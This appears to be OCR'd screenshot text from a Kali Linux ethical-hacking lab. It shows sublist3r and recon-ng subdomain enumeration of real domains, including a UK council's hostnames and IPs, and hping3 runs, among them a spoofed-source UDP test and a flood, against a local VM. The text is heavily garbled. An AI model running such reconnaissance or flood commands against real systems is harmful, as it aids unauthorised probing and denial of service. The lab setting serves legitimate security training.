Get:1 http://kali.download/kali kali-rolling/main amdé4 sublist3r all 1.1-3 [620 kB]
Fetched 620 kB in 0s (1,371 kB/s)
Selecting previously unselected package sublist3r.
(Reading database ... 338365 files and directories currently installed.)
Preparing to unpack .../sublist3r_1.1-3 all.deb ...
Unpacking sublistar (1.1-3)
Setting up sublist3r (1.1-3) .
Processing triggers for kali-menu (2022.3.1) ...
Processing triggers for man-db (2.10.2-1) ...

[l home /i)
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lf( So0ts e[ /home/kali |
# sublist3r -d google.com —p 80 —e bing

I

[
(]
# Coded By Ahmed Aboul-Ela - @aboul3la

-1 Enumerating subdomains now for google.com
Searching now in Bing.

Total Unigue Subdomains Found: 8

Start port scan now for the following ports: 80
drive.google.com - Found open ports: 80
support..google.com — Found open ports: 80
code.google.com — Found open ports: 80
history.google.com — Found open port
one.google.com - Found open ports: 80
images. google.com ~ Found open ports: 80
tagassistant.google.com - Found open ports: 89
stadia.google.com - Found open ports: 80
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[(kali® kati)-[~]
$ sudo apt install build-essential libsqlite3-dev libseccomp-dev libsodium-dev publicsuffix pkg-config
[sudo] password for kali:
Reading package lists ... Done
Building dependency tree ... Done
Reading state information... Done
build-essential is already the newest version (12.9).
build-essential set to manually installed.
The following additional packages will be installed:
Libc-bin libc-dev-bin libc-devtools libc-110n libcé libce-dev 1ibc6-i386 libpkgconf3 libseccomp2 libsqlite3-o locales pkgconf pkgconf-bin sqlite3
Suggested packages
glibc-doc libnss-nis libnss-nisplus seccomp sqlite3-doc
The following NEW packages will be installed:
Libpkgconf3 libseccomp-dev libsodium-dev libsqlite3-dev pkg-config pkgconf pkgconf-bin
The following packages will be upgraded
Libc-bin libc-dev-bin libc-devtools libc-110n libcé libce-dev 1ibc6-i386 libseccomp2 libsqlite3-0 locales publicsuffix sqlite3
12 upgraded, 7 newly installed, 0 to remove and 1575 not upgraded.
Need to get 15.1 MB of archives.
After this operation, 189 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amde4 libc-110n all 2.36-6 [672 kB]
Get:2 http://kali.download/kali kali-rolling/main amdst libc-devtools amde 2.36-6 [50.7 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 libc-dev-bin amdss 2.36-6 [43.1 kB]
Get:4 http://kali.download/kali kali-rolling/main amdet libc6-dev amdsi 2.36-6 [1,897 kB]
Get:5 http://kali.download/kali kali-rolling/main amd6t 1ibc6-1386 amde4 2.36-6 [2,453 kB]
Get:6 http://kali.download/kali kali-rolling/main amd64 locales all 2.36-6 [3,901 k8]
Get:7 http://kali.download/kali kali-rolling/main amd6 libce amdss 2.36-6 [2,745 kB]
Get:8 http://kali.download/kali kali-rolling/main amd64 libc-bin amde4 2.36-6 [604 kB]

Get //http.kali.org/kali kali-rolling/main amde libseccomp2 amde4 2.5.4-1+b2 [46.6 kBI
Get //kali.download/kali kali-rolling/main amde libpkgconf3 amdss 1.8.0-11 [35.7 kB]

Get: ://http.kali.org/kali kali-rolling/main amdé4 libseccomp-dev amd6s 2.5.4-1:b2 [89.8 kB]
Get //kali.download/kali kali-rolling/main amd64 libsodium-dev amdé4 1.0.18-1 [180 kBl
Get //kali.download/kali kali-rolling/main amd64 sqlite3 amde4 3.40.0-1 [352 kB]

Get: ://kali.download/kali kali-rolling/main amde4 1ibsqlite3-0 amde4 3.40.0-1 [838 kB]

Get //kali.download/kali kali-rolling/main amd6 libsqlite3-dev amde4 3.40.0-1 [1,024 kB]
Get //kali.download/kali kali-rolling/main amd64 pkgconf-bin amdsi 1.8.0-11 [29.2 kB]

Get: ://kali.download/kali kali-rolling/main amde4 pkgconf amdsi 1.8.0-11 [25.6 kB]

Get //kali.download/kali kali-rolling/main amd64 pke-config amde4 1.8.0-11 [13.4 kB]
Get:19 http://kali.download/kali kali-rolling/main amd64 publicsuffix all 20220811.1734-1 [127 k8]

Fetched 15.1 MB in 4s (4,074 kB/s)
Preconfiguring packages -..
(Reading database ... 338686 files and directories currently installed.)
Preparing to unpack ... /0-libc-110n_2.36-6_all.deb ...

Unpacking Libc-110n (2.36-6) over (2.33-8) .
Preparing to unpack .../1-libc-devtools_2.36-6_amde.deb ...
Unpacking Libc-devtools (2.36-6) over (2.33-8) ...
Preparing to unpack .../2-libc-dev-bin_2.36-6_amd6s.deb ...
Unpacking Libc-dev-bin (2.36-6) over (2.33-8) .
Preparing to unpack ... /3-libcé-dev_2.36-6_amd6é.deb ...
Unpacking Libc6-dev:amdss (2.36-6) over (2.33-8) .
Preparing to unpack ... /4-1ibc6-i386_2.36-6_amd64.deb ...
Unpacking 1ibc6-i386 (2.36-6) over (2.33-8) .
Preparing to unpack ... /5-locales_2.36-6_all.deb .

=i gl
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[snoint][default] > workspace domains
[+] Connecting to database
[snoint][domains] > add domain

[7] Domain: google.com
[snoint][domains] > mod list




image18.png
o s 1o IS R S —
kpeyrd/url-scan 0.5.3

Scan subdomains for websites
e i




image19.png
[snéint][domains1][kpcyrd/ctlogs] > use url-scan
[snoint][domains1][kpcyrd/url-scan] > run

[+] "pearl.carmarthenshire.gov.uk" : Updating subdomain "pearl.carmarthenshire.gov.uk” (resolvable = true)

[+] "pearl.carmarthenshire.gov.uk" Adding ipaddr "212.219.142.104"

[+] "pearl.carmarthenshire.gov.uk" Adding subdomain-ipaddr "pearl.carmarthenshire.gov.uk+212.219.142.104"

[+] "pearl.carmarthenshire.gov.uk" : Adding port "tcp/212.219.142.104:443"

[+] "pearl.carmarthenshire.gov.uk" Adding url "https://pearl.carmarthenshire.gov.uk/"

[+] "satlada.carmarthenshire.gov.uk" Updating subdomain "satlada.carmarthenshire.gov.uk” (resolvable = true)
[+] "satlada.carmarthenshire.gov.uk" : Adding ipaddr "159.86.190.43;

[+] "satlada.carmarthenshire.gov.uk" Adding subdomain-ipaddr "satlada.carmarthenshire.gov.uk+159.86.190.43"

[+] "satlada.carmarthenshire.gov.uk" Adding port "tcp/159.86.190.43:443"

[+] "satlada.carmarthenshire.gov.uk" : Adding url "https://satlada.carmarthenshire.gov.uk/"

[+] "autodiscover.carmarthenshire.gov.uk" Updating subdomain "autodiscover.carmarthenshire.gov.uk” (resolvable = true)
[+] "autodiscover.carmarthenshire.gov.uk" Adding ipaddr "52.98.207.136"

[+] "autodiscover.carmarthenshire.gov.uk" : Adding subdomain-ipaddr "autodiscover.carmarthenshire.gov.uk+52.98.207.136"
[+] "autodiscover.carmarthenshire.gov.uk" Adding port "tcp/52.98.207.136:80"

[+] "autodiscover.carmarthenshire.gov.uk" Adding url "http://autodiscover.carmarthenshire.gov.uk/"

[] "micollab.carmarthenshire.gov.uk" : Updating subdomain "micollab.carmarthenshire.gov.uk” (resolvable = true)
[+] "micollab.carmarthenshire.gov.uk" Adding ipaddr "212.219.142.124"

[] "micollab.carmarthenshire.gov.uk" Adding subdomain-ipaddr "micollab.carmarthenshire.gov.uk+212.219.142.124"
[] "micollab.carmarthenshire.gov.uk" : Adding port "tcp/212.219.142.124:80"

[] "micollab.carmarthenshire.gov.uk" Adding url "http://micollab.carmarthenshire.gov.uk/"

[+] "micollab.carmarthenshire.gov.uk" Updating subdomain "micollab.carmarthenshire.gov.uk” (resolvable = true)
[] "micollab.carmarthenshire.gov.uk" : Adding port "tcp/212.219.142.124:443"

[+] "micollab.carmarthenshire.gov.uk" Adding url "https://micollab.carmarthenshire.gov.uk/"

[] "fess.carmarthenshire.gov.uk” Updating subdomain "fess.carmarthenshire.gov.uk” (resolvable = true)

[] "fess.carmarthenshire.gov.uk” : Adding ipaddr "52.56.143.23"

[+] "fess.carmarthenshire.gov.uk” Adding subdomain-ipaddr "fess.carmarthenshire.gov.uk+52.56.143.23"

[+] "fess.carmarthenshire.gov.uk” Adding port "tcp/52.56.143.23:80"

[] "fess.carmarthenshire.gov.uk” : Adding url "http://fess.carmarthenshire.gov.uk/"

[+] "fess.carmarthenshire.gov.uk” Updating subdomain "fess.carmarthenshire.gov.uk” (resolvable = true)

[+] "fess.carmarthenshire.gov.uk” Adding port "tcp/52.56.143.23:443"

[] "fess.carmarthenshire.gov.uk” : Adding url "https://fess.carmarthenshire.gov.uk/"

[+] "carmarthenshire.gov.uk" Updating subdomain "carmarthenshire.gov.uk” (resolvable = true)

[+] "carmarthenshire.gov.uk" Adding ipaddr "212.219.232.156"

[+] "carmarthenshire.gov.uk" : Adding subdomain-ipaddr "carmarthenshire.gov.uk+212.219.232.156"

[+] "carmarthenshire.gov.uk" Adding port "tcp/212.219.232.156:80"

[+] "carmarthenshire.gov.uk" Adding url "http://carmarthenshire.gov.uk/"

[*] "wmi.carmarthenshire.gov.uk" : Updating subdomain "wwi.carmarthenshire.gov.uk” (resolvable = true)

[*] "wmi.carmarthenshire.gov.uk" Adding subdomain-ipaddr "wmi.carmarthenshire.gov.uk+212.219.232.156"

[*] "wmi.carmarthenshire.gov.uk" Adding url "http://wm .carmarthenshire.gov.uk/"

[] "recruitment.carmarthenshire.gov.uk” : Updating subdomain "recruitment.carmarthenshire.gov.uk” (resolvable = true)
[] "recruitment.carmarthenshire.gov.uk” Adding ipaddr "212.219.232.157"

[+] "recruitment.carmarthenshire.gov.uk” Adding subdomain-ipaddr "recruitment.carmarthenshire.gov.uk+212.219.232.157"
[] "recruitment.carmarthenshire.gov.uk" : Adding port "tcp/212.219.232.157:80

[+] "recruitment.carmarthenshire.gov.uk” Adding url "http://recruitment.carmarthenshire.gov.uk/"
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"coral.carmarthenshire.gov.uk”
"coral.carmarthenshire.gov.uk"
"coral.carmarthenshire. gov.uk"
"rdsgateway.ntcarmcc. corp. carmarthenshire. gov.uk”
“rdsgu-01.ntcarncc. corp. carmarthenshire.gov. uk”
"rdsgu-02.ntcarncc. corp. carmarthenshire. gov. uk”
“wmi . pearl. carmarthenshire.gov. uk”
“wmi . satlada. carmarthenshire.gov. uk”
"spinal.carmarthenshire.gov.uk"
"spinal.carmarthenshire.gov.uk"
"spinal.carmarthenshire.gov.uk”

“wwi .spinal.carmarthenshire.gov. uk”
"autodiscover. carmarthenshire. gov.uk”
"autodiscover. carmarthenshire.gov.uk”
"autodiscover. carmarthenshire. gov.uk”
"autodiscover. carmarthenshire.gov.uk”
"autodiscover. carmarthenshire. gov.uk”
"autodiscover. carmarthenshire. gov.uk”
"autodiscover. carmarthenshire.gov.uk”
"autodiscover. carmarthenshire. gov.uk”
“webmail.carmarthenshire.gov.uk"
"webmail.carmarthenshire.gov.uk"
“webmail.carmarthenshire.gov.uk"
"bookapc. carmarthenshire. gov. uk"
"bookapc. carmarthenshire. gov. uk"
"bookapc. carmarthenshire. gov. uk"
“wmi .bookapc . carmarthenshire . gov. uk”
“wmi.micollab. carmarthenshire. gov.uk”
“wmi . fess. carmarthenshire. gov.uk”
“dwp-cis.carmarthenshire.gov.uk"
"resourcelink.carmarthenshire.gov.uk”
"opal.carmarthenshire.gov.uk"
"opal.carmarthenshire.gov. uk"
"opal.carmarthenshire.gov.uk"
“morganite.carmarthenshire.gov.uk”
“morganite.carmarthenshire.gov.uk”
“morganite.carmarthenshire.gov.uk"
"ruby.carmarthenshire. gov. uk"

"sts. carmarthenshire.gov.uk"
"activesync.carmarthenshire.gov.uk"
"democracy. carmarthenshire.gov.uk”
"democracy . carmarthenshire.gov.uk”
"democracy. carmarthenshire.gov.uk”
"emerald. carmarthenshire.gov. uk"
"emerald. carmarthenshire.gov.uk"
"emerald. carmarthenshire. gov.uk"

" cumwl . carmarthenshire. gov.uk”

" cumwl . carmarthenshire. gov.uk”

: Updating subdomain "coral.carmarthenshire.gov.uk” (resolvable = true)

Adding ipaddr "159.86.190.58"
Adding subdomain-ipaddr "coral.carmarthenshire.gov.uk+159.86.190.58"

Updating subdomain "rdsgateway.ntcarmcc.corp.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "rdsgw-01.ntcarmcc.corp.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "rdsgw-02.ntcarmcc.corp.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "wmi.pearl.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "wm.satlada.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "spinal.carmarthenshire.gov.uk” (resolvable = true)
Adding ipaddr "159.86.190.41"

Adding subdomain-ipaddr "spinal.carmarthenshire.gov.uk+159.86.190.41"
Updating subdomain "wm.spinal.carmarthenshire.gov.uk” (resolvable = false)
Adding ipaddr "52.98.145.120"

Adding subdomain-ipaddr "autodiscover.carmarthenshire.gov.uk+52.98.145.120"
Adding ipaddr "52.97.211.184"

Adding subdomain-ipaddr "autodiscover.carmarthenshire.gov.uk+52.97.211.184"
Adding ipaddr "52.97.212.72"

Adding subdomain-ipaddr "autodiscover.carmarthenshire.gov.uk+52.97.212.72"
Adding ipaddr "40.99.201.232"

Adding subdomain-ipaddr "autodiscover.carmarthenshire.gov.uk+40.99.201.232"
Updating subdomain "webmail.carmarthenshire.gov.uk” (resolvable = true)
Adding ipaddr "159.86.190.60"

Adding subdomain-ipaddr "webmail.carmarthenshire.gov.uk+159.86.190.60"
Updating subdomain "bookapc.carmarthenshire.gov.uk” (resolvable = true)
Adding ipaddr "212.219.232.195"

Adding subdomain-ipaddr "bookapc.carmarthenshire.gov.uk+212.219.232.195"
Updating subdomain "wmi.bookapc.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "wmi.micollab.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "wm.fess.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "dwp-cis.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "resourcelink.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "opal.carmarthenshire.gov.uk” (resolvable = true)

Adding ipaddr "92.245.252.68"

Adding subdomain-ipaddr "opal.carmarthenshire.gov.uk+92.245.252.68"

Updating subdomain "morganite.carmarthenshire.gov.uk” (resolvable = true)
Adding ipaddr "212.219.142.105"

Adding subdomain-ipaddr "morganite.carmarthenshire.gov.uk+212.219.142.105"
Updating subdomain "ruby.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "sts.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "activesync.carmarthenshire.gov.uk” (resolvable = false)
Updating subdomain "democracy.carmarthenshire.gov.uk” (resolvable = true)
Adding ipaddr "159.86.190.62"

Adding subdomain-ipaddr "democracy.carmarthenshire.gov.uk+159.86.190.62"
Updating subdomain "emerald.carmarthenshire.gov.uk” (resolvable = true)
Adding ipaddr "159.86.190.40

Adding subdomain-ipaddr "emerald.carmarthenshire.gov.uk+159.86.190.40"
Updating subdomain "cwmwl.carmarthenshire.gov.uk” (resolvable = true)

Adding ipaddr "159.86.190.51"
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S[t:liil}ali)'[']

Password:

G(kali@kali)'[']

apt-get install recon -ng
E: Command line option 'n’ [from -ng] is not understood in combination with the other options

(kali® kali)-[~]
L aptget install recon
Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied)
¢ Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?

(kati®kati)-~]

su -

Password:

su: Authentication failure

E[ kali® kali)-[~]
$ sudo apt-get install recon -ng

[sudo] password for kali
E: Command Lline option 'n’ [from -ng] is not understood in combination with the other options

Done

Reading package lists.
Building dependency tree ... Done
Reading state information... Done
E: Unable to locate package recon

[(kali®kati)-[~]
$ git clone https://github.com/lanmasters3/recon-ng.git
Cloning into recon-ng’ .

remote: Enumerating objects: 9522, done

remote: Counting objects: 100% (19/19), done

remote: Compressing objects: 100% (16/16), done

remote: Total 9522 (delta 3), reused 14 (delta 3), pack-reused 9503
Receiving objects: 100% (9522/9522), 3.06 MiB | 15.23 MiB/s, done
Resolving deltas: 100% (4958/4958), done
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[recon-ng v5.1.2, Tim Tomes (@lanmasters3)]
[+] No modules enabled/installed.

[recon-ng][default] > workspace load ACCEG000
[!] Invalid command: workspace load ACCB6000.
[recon-ng][default] > workspaces load ACCEG000
[+] Invalid workspace name

[recon-ng][default] > workspaces create ACCB6000
[recon-ng][ACCB6000] > options list

Name Current Value Required Description
NAMESERVER 8.8.8.8 yes default nameserver for the resolver mixin

PROXY no proxy server (address:port)

THREADS 10 yes number of threads (where applicable)

TIMEOUT 10 yes socket timeout (seconds)

USER-AGENT Recon-ng/vs  yes user-agent string

VERBOSITY 1 yes verbosity level (0 = minimal, 1 = verbose, 2 = debug)

[recon-ng][AccBe000] > Il

[EIC]
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| recon/ports-hosts/ssl_scan 111 | not installed | 2021-08-24 | | |
| recon/profiles-contacts/bing linkedin_contacts 1.2 | not installed | 2021-08-26 | | = |
| recon/profiles-contacts/dev_diver 111 | not installed | 2020-05-15 | | |
| recon/profiles-contacts/github_users 1 1.0 | not installed | 2019-06-26 | | = |
| recon/profiles-profiles/namechk 1 1.0 | not installed | 2019-06-24 | | = |
| recon/profiles-profiles/profiler 1 1.0 | not installed | 2019-06-26 | | |
| recon/profiles-profiles/twitter_mentioned I 1.0 | not installed | 2019-06-24 | | = |
| recon/profiles-profiles/twitter_mentions 1 1.0 | not installed | 2019-06-26 | | = |
| recon/profiles-repositories/github_repos 111 | not installed | 2020-05-15 | | = |
| recon/repositories-profiles/github_commits 1 1.0 | not installed | 2019-06-24 | | = |
| recon/repositories-vulnerabilities/gists_search | 1.0 | not installed | 2019-06-24 | | |
| recon/repositories-vulnerabilities/github_dorks | 1.0 | not installed | 2019-06-24 | | = |
| reporting/csv 1 1.0 | not installed | 2019-06-24 | | |
| reporting/html 1 1.0 | not installed | 2019-06-24 | | |
| reporting/json 1.0 | not installed | 2019-06-24 | | |
| reporting/list 1.0 | not installed | 2019-06-24 | | |
| reporting/proxifier 1.0 | not installed | 2019-06-24 | | |
| reporting/pushpin 1 1.0 | not installed | 2019-06-24 | | = |
| reporting/xisx 1.0 | not installed | 2019-06-24 | | |
| reporting/xnl 111 | not installed | 2019-06-26 | | |
D - Has dependencies. See info for details.
K = Requires keys. See info for details.

[recon-ng] [ACCB6000] > marketplace search netcraft

[+] Searching module index for 'netcraft’ ...
1 Path | version | status | Updated | D | K|
| recon/domains-hosts/netcraft | 1.1 | not installed | 2020-02-05 | | |

D - Has dependencies. See info for details.
K = Requires keys. See info for details.

[recon-ng] [ACCB6000] > marketplace install netcraft
[+] Module installed: recon/domains-hosts/netcraft
[+] Reloading modules ...
[recon-ng][ACCB6000] > ||
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[recon-ng][ACCB6000] > db domain
Interfaces with the workspace's database

Usage: db <deletelinsert Inotes|query|schema> [ .

[recon-ng][ACCB6000] > db domain schema itsecgames.com
Interfaces with the workspace's database

Usage: db <deletelinsert Inotes|query|schema> [ .

[recon-ng][ACCB6000] > show domains
[*] No data returned.
[recon-ng][ACCB6000] > db insert domains
domain (TEXT): itsecgames.com

notes (TEXT):

[*] 1 rows affected.
[recon-ng][ACCB6000] > db insert domains
domain (TEXT): bwm.com

notes (TEXT):

[*] 1 rows affected.
[recon-ng][ACCB6000] > db insert domains
domain (TEXT): certifiedhacker.com
notes (TEXT):

[*] 1 rows affected.
[recon-ng][ACCB6000] > db show domains
Interfaces with the workspace's database

Usage: db <deletelinsert Inotes|query|schema> [ .

[recon-ng][ACCB6000] > show domains

rowid | domain | notes | module |

1 | itsecgames.com 1
2 | bwm. com ]
3 | certifiedhacker.com |

| user_defined |
| user_defined |
| user_defined |

[+] 3 rows returned
[recon-ng][AccBeo00] > Il

o
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recon/domains-hosts/netcraft

[recon-ng][accb6000] > modules load recon/domains-hosts/bing_domain_web

[!] Invalid module name.
[recon-ng][accb6000] > marketlace search bing
[!] Invalid command: marketlace search bing.

[recon-ng][acch6000] > marketplace search bing
[+] searching module index for 'bing

lali@kali: ~

1 path I version | status | Updated | D | K|
| recon/companies-contacts/bing_linkedin_cache | 1.0 | not installed | 2019-06-24 | | = |
| recon/domains-hosts/bing_domain_api 1.0 I not installed | 2019-06-24 | | = |
| recon/domains-hosts/bing_domain_web 111 I not installed | 2019-07-04 | | |
| recon/hosts-hosts/bing_ip 1.0 | not installed | 2019-06-24 | | = |
| recon/profiles-contacts/bing linkedin_contacts | 1.2 I not installed | 2021-08-24 | | = |

Has dependencies. See info for details.

)
K = Requires keys. See info for details.

[recon-ng][accb6000] > marketplace install econ/domains-hosts/bing domain_web

[+] Module installed: recon/domains-hosts/bing_domain_web
[+] Reloading modules ...

[recon-ng][accb6000] > modules load recon/domains-hosts/bing_domain_web

[recon-ng][accb6000][bing_domain_web] > run

ITSECGAMES.. COM

[*] URL:

CERTIFIEDHACKER. COM

URI
Country: None

Host: webmail.certifiedhacker.con
Tp_Address: None

Latitude: None

Longitude: None

[+] Notes: None
[+] Region: None
[+]

[+] Sleeping to avoid lockout ...

https://wm.bing. con/search?first-05q-donain¥3Aitsecganes. com

https://wm.bing.con/search?first-06q-domain¥3Acertifiedhacker.con

[+] URL: https://wmi.bing.com/search?first-06q-domain3Acertifiedhac’

SUMMARY

[+] 1 total (1 new) hosts found.
[recon-ng][accb6000][bing_domain web] > Il

@ Oracle VM VirtualBox Manager

ertifiedhacker.con

2062 |ac
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(]
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| recon/netblocks-companies/whois_orgs 1.0 | not installed | 2019-06-24 | | |
| recon/netblocks-hosts/censys_netblock 1 2.0 | not installed | 2021-05-10 | + | = |
| recon/netblocks-hosts/reverse_resolve 1.0 | not installed | 2019-06-24 | | |
| recon/netblocks-hosts/shodan_net 11.2 | not installed | 2020-07-21 | * | = |
| recon/netblocks-hosts/virustotal 1 1.0 | not installed | 2019-06-24 | | = |
| recon/netblocks-ports/census_2012 1.0 | not installed | 2019-06-24 | | |
| recon/netblocks-ports/censysio I 1.0 | not installed | 2019-06-24 | | = |
| recon/ports-hosts/migrate_ports 1.0 | not installed | 2019-06-24 | | |
| recon/ports-hosts/ssl_scan 111 | not installed | 2021-08-24 | | |
| recon/profiles-contacts/bing linkedin_contacts 1.2 I not installed | 2021-08-24 | | = |
| recon/profiles-contacts/dev_diver 111 I not installed | 2020-05-15 | | |
| recon/profiles-contacts/github_users 1.0 I not installed | 2019-06-24 | | = |
| recon/profiles-profiles/namechk 1.0 | not installed | 2019-06-24 | | = |
| recon/profiles-profiles/profiler I 1.0 I not installed | 2019-06-24 | | |
| recon/profiles-profiles/twitter_mentioned 1 1.0 I not installed | 2019-06-24 | | = |
| recon/profiles-profiles/twitter_mentions 1.0 | not installed | 2019-06-24 | | = |
| recon/profiles-repositories/github_repos I8 | not installed | 2020-05-15 | | = |
| recon/repositories-profiles/github_commits 110 | not installed | 2019-06-24 | | = |
| recon/repositories-vulnerabilities/gists search | 1.0 I not installed | 2019-06-24 | | |
| recon/repositories-vulnerabilities/github_dorks | 1.0 | not installed | 2019-06-24 | | = |
| reporting/csv 1.0 | not installed | 2019-06-24 | | |
| reporting/html 1.0 I not installed | 2019-06-24 | | |
| reporting/json 1.0 | not installed | 2019-06-24 | | |
| reporting/list 1.0 | not installed | 2019-06-24 | | |
| reporting/proxifier 1.0 | not installed | 2019-06-24 | | |
| reporting/pushpin 1.0 | not installed | 2019-06-24 | | = |
| reporting/xisx 1.0 | not installed | 2019-06-24 | | |
| reporting/xnl 111 | not installed | 2019-06-24 | | |

Has dependencies. See info for details.

)
K = Requires keys. See info for details.

[recon-ng][accb6000] >
[recon-ng][accb6000] >
[recon-ng][accb6000] >
[recon-ng][accb6000] > marketplace install recon/domains-hosts/google site web
[+] Module installed: recon/domains-hosts/google site web

[+] Reloading modules ...

[recon-ng][accb6000] > modules load recon/domains-hosts/google site_web
[recon-ng][accb6000] [google_site_web] > run

ITSECGAMES.. COM

[!] Google CAPTCHA triggered. No bypass available.

T lalinin-2022.3-virtualbox-am.

CERTIFIEDHACKER. COM

[+] Searching Google for: site:certifiedhacker.com
[!] Google CAPTCHA triggered. No bypass available.
[recon-ng][accb6000][google_site_web] > Il

s e @5 B il G1@ @ rhtcl
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[+] Searching Google for: site:certifiedhacker.com
[!] Google CAPTCHA triggered. No bypass available
[recon-ng][accb6000] [google_site_web] > back

[recon-ng][accb600n] > marketplace install recon/domains-hosts/hackertarget

[+] Module installed: recon/domains-hosts/hackertarget

]

[recon-ng][accb6000] > modules load recon/domains-hosts/hackertarget
[recon-ng][accbs0on] [hackertarget] > run

Reloading modules

ITSECGAMES.. COM

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*1

Country: None
Host: itsecgames.com
Tp_Address: 31.3.96.40
Latitude: None
Longitude: None

Notes: None

Region: None

CERTIFIEDHACKER. COM

Country: None
Host: wm.news.certifiedhacker.com
Tp_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None
Host: wmi.soc. certifiedhacker.con
Tp_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

1 Country: None
1 Host: webdisk.certifiedhacker.com

Ip_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: notifications.certifiedhacker.com

Tp_Address: 162.241.216.11
Latitude: None
Longitude: None

@ Oracle VM VirtualBox Manager

lali@kali: ~

2065 ac

[EIC
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Country: None
Host: cpcalendars.certifiedhacker.com
Ip_Address: 162.241.216.11

Latitude: None

Longitude: None

Notes: None

Region: None

Country: None
Host: wi.pstn.certifiedhacker.com
Ip_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None
Host: itf.certifiedhacker.com
Tp_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None
Host: mail.certifiedhacker.com
Tp_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None
Host: pstn.certifiedhacker.com
Ip_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None
] Host: iam.certifiedhacker.con
1 Tp_Address: 162.241.216.11
Latitude: None

Longitude: None

Notes: None

Region: None

SUMMARY

[+] 30 total (30 new) hosts found
[recon-ng][accbs0oe] [hackertarget] > |

lali@kali: ~
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$ sudo hping3 -R 10.0.2.15

HPING 10.0.2.15 (ethd 10.0.2.15): R set, 40 headers + 0 data bytes
ko

— 10.0.2.15 hping statistic —

18 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

,j( kali® kali)-[~]
$ sudo hping3 -P 10.0.2.15
HPING 10.0.2.15 (eth0 10.0.2.15): P set, 40 headers + 0 data byte

Ten=46 ip=10.0.2.15 spor
ip=10.0.2.15 spor
.0.2.15 sport=
.0.2.15 spor
.0.2.15 spor

— 10.0.2.15 hping statistic —
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 3.6/7.2/10.7 ms

,j( kali® kali)-[~]
$ sudo hping3 -A 10.0.2.15
2.15 (etho 10.0.2.15): A set, 40 headers + 0 data bytes

0.0.2.15
0.0.2.15
0.0.2.15
0.0.2.15
0.0.2.15 sport=

— 10.0.2.15 hping statistic —
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 4.5/13.0/22.4 ms
[Llkati®kati)-[~]

o |

= gl





image38.png
[T Lt e
$ sudo hping3 10.9.2.15 -2 —rand-source -d 600
HPING 10.0.2.15 (ethd 10.0.2.15): udp mode set, 28 headers + 600 data bytes
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217.219.73.154
10.6.2.15
197.63.217.110

1 17.110

205 246.326272  10.0.2.15 94.245.104.56 Keep-Alive] 50841 - 443 [ACK] Seq-1 Ack=2 Win=63279 Le

206 246.324511  94.245.104.56 10.0.2.15 60 [TCP Keep-Alive ACK] 443 > 50041 [ACK] Seq=2 A
207 247.170527  242.235.89.238 10.0.2.15 642 3028 > 0 Len=600
205 243.170802 _189.196.243.52 10.0.2.15 642 3029 > 0 Len=600

Destination unreachable (Port unreachable
3030 - 0 Len=600.
Destination unreachable (Port unreachable

171457

< >
Frane 193: 642 bytes on wire (5136 bits), 642 bytes captured (513 bi] 05 00 27 <4 6 56 03 00 27 22 46 47 03 00 45 00 ' V. Fia
Ethernet 11, Src: PcsCompu_22:46:47 (08:00:27:22:46:4), Dst: PesCompl 02740ab500 004011 fE2038 30 d20200 £ @ &
Internet Protocol Version 4, Src: 56.195.48.21@, Dst: 10.0.2.15 02 of @b cf 00 00 02 60 f2 33 58 58 58 58 58 58 X
g . B o 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  X00000X XXX
U0 ) PRl 6533 (o B2 BB R O 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  X00000X XXX
Dsta (600 bytes)

53 53 53 53 53 53 53 53 53 53 53 53 58 58 58 53 X000000K XK
53 53 53 58 58 58 58 53 X000000K XK
53 53 58 58 58 58 58 53 X000000K 300K
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$ sudo hping3 10.0.2.15 —flood

HPING 10.0.2.15 (ethd 10.0.2.15): NO FLAGS are set, 40 headers + 0 data by’
hping in flood mode, no replies will be shown
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70696 8.839812
70697 3.339812

[TCP Previous segment not captured] >0 [<None:

= Tcp 66 [TCP Previous segnent not captured] - 0 [<Nione:
70702 5.339330 TCP. 60 33250 + 0 [<None>] Seq-3079702423 Wi
70703 5.339330 Tcp. 60 33251 + 0 [<lone>] Seq=3095950100 Hi
76704 5.339330 Tcp. 60 33252 » 0 [<lone>] Seq=3510114325 Wi
70705 3.339330 Tcp 50 33253 > 0 [<lone>] Seq=4250204623 Wi

TcP. 60 [TCP Previous segment not captured] 33254
Tcp 60 [TCP Previous segment not captured]
TCp. 50 33256 > 0 [<None>] 52q=3026367363 Win=
TP 60 [TCP Previous segment not captured]

>0 [<None:
5 0 [<None:
70705 5.339934

70710 8.539934 e 0 38258 » © [<None>] Seq=3874769482 Win=512 Len=5
¢ >
Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (430 bits) on 05 00 27 =4 6 56 03 00 27 22 46 47 03 00 45 00 ' V. 70
